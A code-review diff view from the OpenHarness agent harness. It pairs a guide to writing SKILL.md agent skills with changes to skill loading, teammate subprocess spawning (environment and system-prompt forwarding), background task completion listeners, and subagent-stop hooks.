└── assets/ # optional templates or static files
```
Use this structure inside `SKILL.md`:
```markdown
---
name: my-skill
description: >
What the skill does and exactly when to use it.
---
# my-skill
Short purpose statement.
## When to use
Trigger contexts in plain language.
## Workflow
Concrete steps the agent should follow.
## Rules
Important boundaries, verification, and failure handling.
```
## Workflow
1. Capture intent before writing.
Ask or infer what the skill should help with, when it should trigger, what
output it should produce, and what success looks like. If the conversation
already contains the workflow, extract the sequence from history before
asking more questions.
2. Inspect existing examples.
Read nearby skills and loader behavior before choosing a layout. For
OpenHarness, confirm whether the target is bundled, user, ohmo-private, or
plugin-provided.
3. Write the metadata first.
The `description` is the primary trigger hint shown in the available skills
list. Make it specific and slightly assertive: include both what the skill
does and the phrases or situations that should trigger it. Avoid vague
descriptions like "Helpful notes for X".
4. Keep the body procedural.
Use concise imperative steps. Explain why non-obvious constraints matter.
Prefer general principles over overfitted examples. If a skill is getting
long, move details into `references/` and point to the relevant file.
5. Add deterministic resources only when they pay for themselves.
If the skill repeatedly needs the same script, template, schema, or checklist,
place it under `scripts/`, `assets/`, or `references/` rather than making the
model regenerate it every time.
6. Verify loading.
Run a local loader check for the chosen target. For bundled skills, use:
```bash
PYTHONPATH=src python - <<'PY'
from openharness.skills import load_skill_registry
for skill in load_skill_registry().list_skills():
print(skill.name, skill.source, skill.path)
PY
```
For ohmo-private skills, include the extra skill directory:
```bash
PYTHONPATH=src python - <<'PY'
from openharness.skills import load_skill_registry
from ohmo.workspace import get_skills_dir
for skill in load_skill_registry(extra_skill_dirs=[get_skills_dir()]).list_skills():
print(skill.name, skill.source, skill.path)
PY
```
7. Test behavior.
Create two or three realistic prompts that should use the skill. If the skill
changes code or files, add regression tests around loading or command
behavior. Run targeted tests first, then broader tests if the loader or
runtime path changed.
8. Iterate from evidence.
If a skill under-triggers, improve the frontmatter description. If it
triggers but produces poor work, improve the body workflow. If agents repeat
deterministic work, add a helper script or reference file.
## Writing rules
- Preserve the skill name when updating an existing skill unless the user
explicitly asks to rename it.
- Do not overwrite user-created skills without reading the existing `SKILL.md`.
- Keep `SKILL.md` under roughly 500 lines; use `references/` for long material.
- Keep trigger guidance in frontmatter `description`, not buried only in the
body.
- Make skills safe and unsurprising. Do not create skills that hide behavior,
bypass permissions, exfiltrate data, or encourage unauthorized access.
- Prefer directory names that are lowercase kebab-case, even if the displayed
skill `name` is more human-readable.
- Mention exact install or verification paths in the final response.
## Test prompts
After drafting a skill, propose a small eval set:
```json
{
"skill_name": "my-skill",
"evals": [
{
"id": "happy-path",
"prompt": "A realistic user request that should trigger the skill.",
"expected_output": "What good behavior looks like."
},
{
"id": "near-miss",
"prompt": "A similar request that should not trigger this skill.",
"expected_output": "The agent should choose a different path."
}
]
}
```
For objective skills, add assertions or tests. For subjective skills, collect
human feedback and revise the workflow from concrete complaints rather than
adding rigid rules.
+136 -45
View File
@@ -1,4 +1,4 @@
"""Skill loading from bundled and user directories."""
"""Skill loading from bundled, user, compatibility, and project directories."""
from __future__ import annotations
@@ -6,24 +6,39 @@ import logging
from pathlib import Path
from typing import Iterable
import yaml
from openharness.config.paths import get_config_dir
from openharness.config.settings import load_settings
from openharness.skills._frontmatter import (
optional_frontmatter_str,
parse_bool_frontmatter,
parse_skill_frontmatter,
parse_skill_metadata,
)
from openharness.skills.bundled import get_bundled_skills
from openharness.skills.registry import SkillRegistry
from openharness.skills.types import SkillDefinition
logger = logging.getLogger(__name__)
_USER_COMPAT_SKILL_DIRS = (
(".claude", "skills"),
(".agents", "skills"),
)
_DEFAULT_PROJECT_SKILL_DIRS = (".openharness/skills", ".agents/skills", ".claude/skills")
def get_user_skills_dir() -> Path:
"""Return the user skills directory."""
"""Return the OpenHarness user skills directory."""
path = get_config_dir() / "skills"
path.mkdir(parents=True, exist_ok=True)
return path
def get_user_skill_dirs() -> list[Path]:
"""Return user-level skill directories loaded by default."""
return [get_user_skills_dir(), *(Path.home().joinpath(*parts) for parts in _USER_COMPAT_SKILL_DIRS)]
def load_skill_registry(
cwd: str | Path | None = None,
*,
@@ -31,18 +46,27 @@ def load_skill_registry(
extra_plugin_roots: Iterable[str | Path] | None = None,
settings=None,
) -> SkillRegistry:
"""Load bundled and user-defined skills."""
"""Load bundled, user-defined, project, and plugin skills."""
registry = SkillRegistry()
for skill in get_bundled_skills():
registry.register(skill)
for skill in load_user_skills():
registry.register(skill)
for skill in load_skills_from_dirs(extra_skill_dirs):
for skill in load_skills_from_dirs(extra_skill_dirs, source="user"):
registry.register(skill)
resolved_settings = settings or load_settings()
if cwd is not None and getattr(resolved_settings, "allow_project_skills", True):
project_dirs = discover_project_skill_dirs(
cwd,
getattr(resolved_settings, "project_skill_dirs", list(_DEFAULT_PROJECT_SKILL_DIRS)),
)
for skill in load_skills_from_dirs(project_dirs, source="project", create_missing=False):
registry.register(skill)
if cwd is not None:
from openharness.plugins.loader import load_plugins
resolved_settings = settings or load_settings()
for plugin in load_plugins(resolved_settings, cwd, extra_roots=extra_plugin_roots):
if not plugin.enabled:
continue
@@ -52,14 +76,85 @@ def load_skill_registry(
def load_user_skills() -> list[SkillDefinition]:
"""Load markdown skills from the user config directory."""
return load_skills_from_dirs([get_user_skills_dir()], source="user")
"""Load markdown skills from user-level OpenHarness and compatibility directories."""
return load_skills_from_dirs(get_user_skill_dirs(), source="user")
def discover_project_skill_dirs(
cwd: str | Path,
project_skill_dirs: Iterable[str] | None = None,
) -> list[Path]:
"""Return existing project skill directories from cwd up to the git root.
Directories are ordered from least-specific to most-specific so later registry
entries can override broader project or user skills deterministically.
"""
start = Path(cwd).expanduser().resolve()
if not start.exists():
start = start.parent
if start.is_file():
start = start.parent
relative_dirs = _valid_project_skill_dirs(project_skill_dirs or _DEFAULT_PROJECT_SKILL_DIRS)
git_root = _find_git_root(start)
home = Path.home().resolve()
current = start
levels: list[Path] = []
while True:
levels.append(current)
if git_root is not None and current == git_root:
break
if git_root is None and current == home:
break
parent = current.parent
if parent == current:
break
current = parent
roots: list[Path] = []
seen: set[Path] = set()
for base in reversed(levels):
for rel in relative_dirs:
candidate = (base / rel).resolve()
if candidate in seen or not candidate.is_dir():
continue
seen.add(candidate)
roots.append(candidate)
return roots
def _valid_project_skill_dirs(project_skill_dirs: Iterable[str]) -> list[Path]:
"""Return safe relative project skill paths."""
paths: list[Path] = []
for raw in project_skill_dirs:
value = str(raw).strip()
if not value:
continue
rel = Path(value)
if rel.is_absolute() or ".." in rel.parts:
logger.warning("Ignoring unsafe project skill dir: %s", raw)
continue
paths.append(rel)
return paths
def _find_git_root(start: Path) -> Path | None:
"""Find the nearest git root containing start, if any."""
current = start
while True:
if (current / ".git").exists():
return current
parent = current.parent
if parent == current:
return None
current = parent
def load_skills_from_dirs(
directories: Iterable[str | Path] | None,
*,
source: str = "user",
create_missing: bool = True,
) -> list[SkillDefinition]:
"""Load markdown skills from one or more directories.
@@ -72,7 +167,10 @@ def load_skills_from_dirs(
seen: set[Path] = set()
for directory in directories:
root = Path(directory).expanduser().resolve()
root.mkdir(parents=True, exist_ok=True)
if create_missing:
root.mkdir(parents=True, exist_ok=True)
elif not root.is_dir():
continue
candidates: list[Path] = []
for child in sorted(root.iterdir()):
if child.is_dir():
@@ -85,7 +183,10 @@ def load_skills_from_dirs(
seen.add(path)
content = path.read_text(encoding="utf-8")
default_name = path.parent.name
name, description = _parse_skill_markdown(default_name, content)
metadata = _parse_skill_metadata(default_name, content)
name = metadata["name"]
description = metadata["description"]
display_name = name if name != default_name else None
skills.append(
SkillDefinition(
name=name,
@@ -93,6 +194,13 @@ def load_skills_from_dirs(
content=content,
source=source,
path=str(path),
base_dir=str(path.parent),
command_name=default_name,
display_name=display_name,
user_invocable=metadata["user_invocable"],
disable_model_invocation=metadata["disable_model_invocation"],
model=metadata["model"],
argument_hint=metadata["argument_hint"],
)
)
return skills
@@ -100,39 +208,22 @@ def load_skills_from_dirs(
def _parse_skill_markdown(default_name: str, content: str) -> tuple[str, str]:
"""Parse name and description from a skill markdown file with YAML frontmatter support."""
name = default_name
description = ""
return parse_skill_frontmatter(default_name, content, fallback_template="Skill: {name}")
lines = content.splitlines()
# Try YAML frontmatter first (--- ... ---)
if content.startswith("---\n"):
end_index = content.find("\n---\n", 4)
if end_index != -1:
try:
metadata = yaml.safe_load(content[4:end_index])
if isinstance(metadata, dict):
val = metadata.get("name")
if isinstance(val, str) and val.strip():
name = val.strip()
val = metadata.get("description")
if isinstance(val, str) and val.strip():
description = val.strip()
except yaml.YAMLError:
logger.debug("Failed to parse YAML frontmatter for skill %s", default_name)
# Fallback: extract from headings and first paragraph
if not description:
for line in lines:
stripped = line.strip()
if stripped.startswith("# "):
if not name or name == default_name:
name = stripped[2:].strip() or default_name
continue
if stripped and not stripped.startswith("---") and not stripped.startswith("#"):
description = stripped[:200]
break
if not description:
description = f"Skill: {name}"
return name, description
def _parse_skill_metadata(default_name: str, content: str) -> dict:
parsed = parse_skill_metadata(default_name, content, fallback_template="Skill: {name}")
frontmatter = parsed.get("frontmatter")
if not isinstance(frontmatter, dict):
frontmatter = {}
return {
"name": str(parsed["name"]),
"description": str(parsed["description"]),
"user_invocable": parse_bool_frontmatter(frontmatter.get("user-invocable"), default=True),
"disable_model_invocation": parse_bool_frontmatter(
frontmatter.get("disable-model-invocation"),
default=False,
),
"model": optional_frontmatter_str(frontmatter.get("model")),
"argument_hint": optional_frontmatter_str(frontmatter.get("argument-hint")),
}
+7 -2
View File
@@ -13,7 +13,9 @@ class SkillRegistry:
def register(self, skill: SkillDefinition) -> None:
"""Register one skill."""
self._skills[skill.name] = skill
for key in (skill.name, skill.command_name, skill.display_name, *skill.aliases):
if key:
self._skills[key] = skill
def get(self, name: str) -> SkillDefinition | None:
"""Return a skill by name."""
@@ -21,4 +23,7 @@ class SkillRegistry:
def list_skills(self) -> list[SkillDefinition]:
"""Return all skills sorted by name."""
return sorted(self._skills.values(), key=lambda skill: skill.name)
unique: dict[tuple[str, str | None], SkillDefinition] = {}
for skill in self._skills.values():
unique[(skill.source, skill.path or skill.name)] = skill
return sorted(unique.values(), key=lambda skill: skill.command_name or skill.name)
+8
View File
@@ -14,3 +14,11 @@ class SkillDefinition:
content: str
source: str
path: str | None = None
base_dir: str | None = None
command_name: str | None = None
display_name: str | None = None
aliases: tuple[str, ...] = ()
user_invocable: bool = True
disable_model_invocation: bool = False
model: str | None = None
argument_hint: str | None = None
+26
View File
@@ -60,9 +60,22 @@ _TEAMMATE_ENV_VARS = [
# --- OpenHarness-native provider settings --------------------------------
# These are read by settings._apply_env_overrides() and must survive across
# tmux boundaries so teammates use the same provider as the leader.
"OPENHARNESS_CONFIG_DIR",
"OPENHARNESS_DATA_DIR",
"OPENHARNESS_LOGS_DIR",
"OPENHARNESS_PROFILE",
"OPENHARNESS_API_FORMAT",
"OPENHARNESS_PROVIDER",
"OPENHARNESS_BASE_URL",
"OPENHARNESS_MODEL",
"OPENHARNESS_ANTHROPIC_API_KEY",
"OPENHARNESS_OPENAI_API_KEY",
"OPENHARNESS_DASHSCOPE_API_KEY",
"OPENHARNESS_MOONSHOT_API_KEY",
"OPENHARNESS_GEMINI_API_KEY",
"OPENHARNESS_MINIMAX_API_KEY",
"OPENHARNESS_NVIDIA_API_KEY",
"OPENHARNESS_MODELSCOPE_API_KEY",
"OPENAI_API_KEY",
]
@@ -96,6 +109,8 @@ def get_teammate_command() -> str:
def build_inherited_cli_flags(
*,
model: str | None = None,
system_prompt: str | None = None,
system_prompt_mode: str | None = None,
permission_mode: str | None = None,
plan_mode_required: bool = False,
settings_path: str | None = None,
@@ -114,6 +129,10 @@ def build_inherited_cli_flags(
Args:
model: Model override to forward (e.g. ``"claude-opus-4-6"``).
system_prompt: System prompt override to forward to the teammate.
system_prompt_mode: One of ``"replace"``/``"default"`` or ``"append"``.
``append`` maps to ``--append-system-prompt``; anything else uses
``--system-prompt``.
permission_mode: One of ``"bypassPermissions"``, ``"acceptEdits"``, or None.
plan_mode_required: When True, bypass-permissions flag is suppressed
(plan mode takes precedence over bypass for safety).
@@ -146,6 +165,13 @@ def build_inherited_cli_flags(
if model and model != "inherit":
flags.extend(["--model", shlex.quote(model)])
# --- System prompt override ------------------------------------------
# Agent definitions can carry a dedicated worker system prompt. Forward it
# explicitly so subprocess teammates preserve their role/personality.
if system_prompt:
prompt_flag = "--append-system-prompt" if system_prompt_mode == "append" else "--system-prompt"
flags.extend([prompt_flag, shlex.quote(system_prompt)])
# --- Settings path propagation ----------------------------------------
# Ensures teammates load the same settings JSON as the leader process.
if settings_path:
+21 -9
View File
@@ -54,25 +54,35 @@ class SubprocessBackend:
flags = build_inherited_cli_flags(
model=config.model,
system_prompt=config.system_prompt,
system_prompt_mode=config.system_prompt_mode,
plan_mode_required=config.plan_mode_required,
)
extra_env = build_inherited_env_vars()
command = config.command
# Only inject the inherited teammate env vars when we are also
# building the command ourselves. If the caller supplied a custom
# ``config.command`` we honour their choice and don't second-guess
# which env vars they want, matching pre-fix behaviour.
extra_env: dict[str, str] | None = None
argv: list[str] | None = None
command: str | None = config.command
if command is None:
# Build environment export prefix for shell invocation
env_prefix = " ".join(f"{k}={v!r}" for k, v in extra_env.items())
# Direct-exec argv list — no shell, no quoting required. This
# avoids Git Bash on Windows being unable to exec a Windows-
# pathed python interpreter when bash is itself launched via
# ``asyncio.create_subprocess_exec`` (see issue #230).
extra_env = build_inherited_env_vars()
teammate_cmd = get_teammate_command()
if (
teammate_cmd.endswith("python")
or teammate_cmd.endswith("python3")
or teammate_cmd.endswith("python.exe")
or teammate_cmd.endswith("python3.exe")
or "/python" in teammate_cmd
or "\\python" in teammate_cmd.lower()
):
cmd_parts = [teammate_cmd, "-m", "openharness", "--task-worker"] + flags
argv = [teammate_cmd, "-m", "openharness", "--task-worker"] + flags
else:
cmd_parts = [teammate_cmd, "--task-worker"] + flags
command = f"{env_prefix} {' '.join(cmd_parts)}" if env_prefix else " ".join(cmd_parts)
argv = [teammate_cmd, "--task-worker"] + flags
manager = get_task_manager()
try:
@@ -83,6 +93,8 @@ class SubprocessBackend:
task_type=config.task_type,
model=config.model,
command=command,
argv=argv,
env=extra_env,
)
except Exception as exc:
logger.error("Failed to spawn teammate %s: %s", agent_id, exc)
+140 -22
View File
@@ -3,17 +3,48 @@
from __future__ import annotations
import asyncio
import json
import logging
import os
import shlex
import time
from dataclasses import replace
from pathlib import Path
from typing import Awaitable, Callable
from uuid import uuid4
from openharness.config.paths import get_tasks_dir
from openharness.tasks.types import TaskRecord, TaskStatus, TaskType
from openharness.utils.shell import create_shell_subprocess
log = logging.getLogger(__name__)
_TASK_RESTART_NOTICE = "[OpenHarness] Agent task restarted; prior interactive context was not preserved.\n"
def _encode_task_worker_payload(data: str) -> bytes:
"""Serialize one worker input as a single JSON line.
Plain-text prompts may contain embedded newlines, so they cannot be written
directly to a readline()-based worker protocol. We wrap them in a JSON
object with a ``text`` field, while preserving already-structured payloads
emitted by teammate backends.
"""
stripped = data.rstrip("\n")
try:
payload = json.loads(stripped)
except json.JSONDecodeError:
payload = None
if isinstance(payload, dict) and isinstance(payload.get("text"), str):
framed = stripped
elif "\n" not in stripped and "\r" not in stripped:
framed = stripped
else:
framed = json.dumps({"text": stripped}, ensure_ascii=False)
return (framed + "\n").encode("utf-8")
CompletionListener = Callable[[TaskRecord], Awaitable[None] | None]
class BackgroundTaskManager:
"""Manage shell and agent subprocess tasks."""
@@ -25,16 +56,39 @@ class BackgroundTaskManager:
self._output_locks: dict[str, asyncio.Lock] = {}
self._input_locks: dict[str, asyncio.Lock] = {}
self._generations: dict[str, int] = {}
self._completion_listeners: dict[str, CompletionListener] = {}
async def create_shell_task(
self,
*,
command: str,
command: str | None = None,
description: str,
cwd: str | Path,
task_type: TaskType = "local_bash",
env: dict[str, str] | None = None,
argv: list[str] | None = None,
) -> TaskRecord:
"""Start a background shell command."""
"""Start a background command.
Either ``command`` (a shell-evaluated string) or ``argv`` (a direct
argv list) must be supplied. The ``argv`` form bypasses shell
invocation entirely it spawns the executable directly via
``asyncio.create_subprocess_exec(*argv)`` which is the right choice
for teammate spawning on Windows: Git Bash cannot reliably exec
Windows-pathed binaries (e.g. ``C:\\Users\\...\\python.exe``) when it
is itself launched via ``create_subprocess_exec`` with that path
embedded in a ``-lc`` string, even though the same shell call works
interactively. Bypassing the shell sidesteps that entire class of
platform-quoting bug.
``env`` is merged with ``os.environ`` when the subprocess is launched,
so callers should pass only the variables they want to add or
override.
"""
if command is None and argv is None:
raise ValueError("create_shell_task requires either command or argv")
if command is not None and argv is not None:
raise ValueError("create_shell_task accepts only one of command or argv")
task_id = _task_id(task_type)
output_path = get_tasks_dir() / f"{task_id}.log"
record = TaskRecord(
@@ -47,6 +101,8 @@ class BackgroundTaskManager:
command=command,
created_at=time.time(),
started_at=time.time(),
env=dict(env) if env is not None else None,
argv=list(argv) if argv is not None else None,
)
output_path.write_text("", encoding="utf-8")
self._tasks[task_id] = record
@@ -65,24 +121,34 @@ class BackgroundTaskManager:
model: str | None = None,
api_key: str | None = None,
command: str | None = None,
env: dict[str, str] | None = None,
argv: list[str] | None = None,
) -> TaskRecord:
"""Start a local agent task as a subprocess."""
if command is None:
"""Start a local agent task as a subprocess.
Prefer ``argv`` (direct exec, no shell) over ``command`` (shell-
evaluated) for teammate spawn see :meth:`create_shell_task` for
the cross-platform reasoning. ``env`` is forwarded to
:meth:`create_shell_task` and ultimately merged with ``os.environ``
at process spawn time.
"""
if command is None and argv is None:
effective_api_key = api_key or os.environ.get("ANTHROPIC_API_KEY")
if not effective_api_key:
raise ValueError(
"Local agent tasks require ANTHROPIC_API_KEY or an explicit command override"
"Local agent tasks require ANTHROPIC_API_KEY or an explicit command/argv override"
)
cmd = ["python", "-m", "openharness", "--api-key", effective_api_key]
argv = ["python", "-m", "openharness", "--api-key", effective_api_key]
if model:
cmd.extend(["--model", model])
command = " ".join(shlex.quote(part) for part in cmd)
argv.extend(["--model", model])
record = await self.create_shell_task(
command=command,
description=description,
cwd=cwd,
task_type=task_type,
env=env,
argv=argv,
)
updated = replace(record, prompt=prompt)
if task_type != "local_agent":
@@ -143,21 +209,23 @@ class BackgroundTaskManager:
task.status = "killed"
task.ended_at = time.time()
await self._notify_completion_listeners(task)
return task
async def write_to_task(self, task_id: str, data: str) -> None:
"""Write one line to task stdin, auto-resuming local agents when needed."""
task = self._require_task(task_id)
payload = _encode_task_worker_payload(data)
async with self._input_locks[task_id]:
process = await self._ensure_writable_process(task)
process.stdin.write((data.rstrip("\n") + "\n").encode("utf-8"))
process.stdin.write(payload)
try:
await process.stdin.drain()
except (BrokenPipeError, ConnectionResetError):
if task.type not in {"local_agent", "remote_agent", "in_process_teammate"}:
raise ValueError(f"Task {task_id} does not accept input") from None
process = await self._restart_agent_task(task)
process.stdin.write((data.rstrip("\n") + "\n").encode("utf-8"))
process.stdin.write(payload)
await process.stdin.drain()
def read_task_output(self, task_id: str, *, max_bytes: int = 12000) -> str:
@@ -168,6 +236,16 @@ class BackgroundTaskManager:
return content[-max_bytes:]
return content
def register_completion_listener(self, listener: CompletionListener) -> Callable[[], None]:
"""Register a callback fired whenever a task reaches a terminal state."""
listener_id = uuid4().hex
self._completion_listeners[listener_id] = listener
def _unregister() -> None:
self._completion_listeners.pop(listener_id, None)
return _unregister
async def _watch_process(
self,
task_id: str,
@@ -188,6 +266,7 @@ class BackgroundTaskManager:
if task.status != "killed":
task.status = "completed" if return_code == 0 else "failed"
task.ended_at = time.time()
await self._notify_completion_listeners(task)
self._processes.pop(task_id, None)
self._waiters.pop(task_id, None)
@@ -210,18 +289,43 @@ class BackgroundTaskManager:
async def _start_process(self, task_id: str) -> asyncio.subprocess.Process:
task = self._require_task(task_id)
if task.command is None:
raise ValueError(f"Task {task_id} does not have a command to run")
if task.command is None and task.argv is None:
raise ValueError(f"Task {task_id} does not have a command or argv to run")
generation = self._generations.get(task_id, 0) + 1
self._generations[task_id] = generation
process = await create_shell_subprocess(
task.command,
cwd=task.cwd,
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT,
)
# Merge task-specific env vars on top of the parent process environment
# so the child sees both. Passing ``None`` lets the OS inherit env
# directly, which is the legacy behaviour for plain shell tasks.
merged_env: dict[str, str] | None
if task.env:
merged_env = {**os.environ, **task.env}
else:
merged_env = None
if task.argv is not None:
# Direct-exec route. No shell. Used for teammate spawn so we
# don't have to round-trip Windows paths through Git Bash, which
# cannot reliably exec ``C:\\...\\python.exe`` when launched
# itself via ``asyncio.create_subprocess_exec`` (see #230).
process = await asyncio.create_subprocess_exec(
*task.argv,
cwd=str(Path(task.cwd).resolve()),
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT,
env=merged_env,
)
else:
assert task.command is not None
process = await create_shell_subprocess(
task.command,
cwd=task.cwd,
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT,
env=merged_env,
)
self._processes[task_id] = process
self._waiters[task_id] = asyncio.create_task(
self._watch_process(task_id, process, generation)
@@ -240,8 +344,8 @@ class BackgroundTaskManager:
return await self._restart_agent_task(task)
async def _restart_agent_task(self, task: TaskRecord) -> asyncio.subprocess.Process:
if task.command is None:
raise ValueError(f"Task {task.id} does not have a restart command")
if task.command is None and task.argv is None:
raise ValueError(f"Task {task.id} does not have a restart command or argv")
waiter = self._waiters.get(task.id)
if waiter is not None and not waiter.done():
@@ -249,12 +353,25 @@ class BackgroundTaskManager:
restart_count = int(task.metadata.get("restart_count", "0")) + 1
task.metadata["restart_count"] = str(restart_count)
task.metadata["status_note"] = "Task restarted; prior interactive context was not preserved."
task.status = "running"
task.started_at = time.time()
task.ended_at = None
task.return_code = None
with task.output_file.open("ab") as handle:
handle.write(_TASK_RESTART_NOTICE.encode("utf-8"))
return await self._start_process(task.id)
async def _notify_completion_listeners(self, task: TaskRecord) -> None:
snapshot = replace(task, metadata=dict(task.metadata))
for listener_id, listener in list(self._completion_listeners.items()):
try:
maybe_awaitable = listener(snapshot)
if maybe_awaitable is not None:
await maybe_awaitable
except Exception:
log.exception("Task completion listener %s failed for task %s", listener_id, task.id)
def close(self) -> None:
"""Best-effort cleanup for any tracked subprocesses and watcher tasks."""
for waiter in list(self._waiters.values()):
@@ -342,6 +459,7 @@ def _task_id(task_type: TaskType) -> str:
"local_agent": "a",
"remote_agent": "r",
"in_process_teammate": "t",
"dream": "d",
}
return f"{prefixes[task_type]}{uuid4().hex[:8]}"
+3 -1
View File
@@ -7,7 +7,7 @@ from pathlib import Path
from typing import Literal
TaskType = Literal["local_bash", "local_agent", "remote_agent", "in_process_teammate"]
TaskType = Literal["local_bash", "local_agent", "remote_agent", "in_process_teammate", "dream"]
TaskStatus = Literal["pending", "running", "completed", "failed", "killed"]
@@ -28,3 +28,5 @@ class TaskRecord:
ended_at: float | None = None
return_code: int | None = None
metadata: dict[str, str] = field(default_factory=dict)
env: dict[str, str] | None = None
argv: list[str] | None = None
+4
View File
@@ -19,6 +19,8 @@ from openharness.tools.file_read_tool import FileReadTool
from openharness.tools.file_write_tool import FileWriteTool
from openharness.tools.glob_tool import GlobTool
from openharness.tools.grep_tool import GrepTool
from openharness.tools.image_generation_tool import ImageGenerationTool
from openharness.tools.image_to_text_tool import ImageToTextTool
from openharness.tools.list_mcp_resources_tool import ListMcpResourcesTool
from openharness.tools.lsp_tool import LspTool
from openharness.tools.mcp_auth_tool import McpAuthTool
@@ -57,6 +59,8 @@ def create_default_tool_registry(mcp_manager=None) -> ToolRegistry:
McpAuthTool(),
GlobTool(),
GrepTool(),
ImageToTextTool(),
ImageGenerationTool(),
SkillTool(),
ToolSearchTool(),
WebFetchTool(),
+41 -1
View File
@@ -8,8 +8,10 @@ from pydantic import BaseModel, Field
from openharness.coordinator.agent_definitions import get_agent_definition
from openharness.coordinator.coordinator_mode import get_team_registry
from openharness.hooks import HookEvent
from openharness.swarm.registry import get_backend_registry
from openharness.swarm.types import TeammateSpawnConfig
from openharness.tasks import get_task_manager
from openharness.tools.base import BaseTool, ToolExecutionContext, ToolResult
logger = logging.getLogger(__name__)
@@ -93,9 +95,47 @@ class AgentTool(BaseTool):
registry.create_team(arguments.team)
registry.add_agent(arguments.team, result.task_id)
if context.hook_executor is not None:
manager = get_task_manager()
unregister = None
async def _emit_subagent_stop(task_record) -> None:
nonlocal unregister
if task_record.id != result.task_id:
return
if unregister is not None:
unregister()
unregister = None
await context.hook_executor.execute(
HookEvent.SUBAGENT_STOP,
{
"event": HookEvent.SUBAGENT_STOP.value,
"agent_id": result.agent_id,
"task_id": result.task_id,
"backend_type": result.backend_type,
"status": task_record.status,
"return_code": task_record.return_code,
"description": arguments.description,
"subagent_type": arguments.subagent_type or "agent",
"team": team,
"mode": arguments.mode,
},
)
unregister = manager.register_completion_listener(_emit_subagent_stop)
task_record = manager.get_task(result.task_id)
if task_record is not None and task_record.status in {"completed", "failed", "killed"}:
await _emit_subagent_stop(task_record)
return ToolResult(
output=(
f"Spawned agent {result.agent_id} "
f"(task_id={result.task_id}, backend={result.backend_type})"
)
),
metadata={
"agent_id": result.agent_id,
"task_id": result.task_id,
"backend_type": result.backend_type,
"description": arguments.description,
},
)

Some files were not shown because too many files have changed in this diff Show More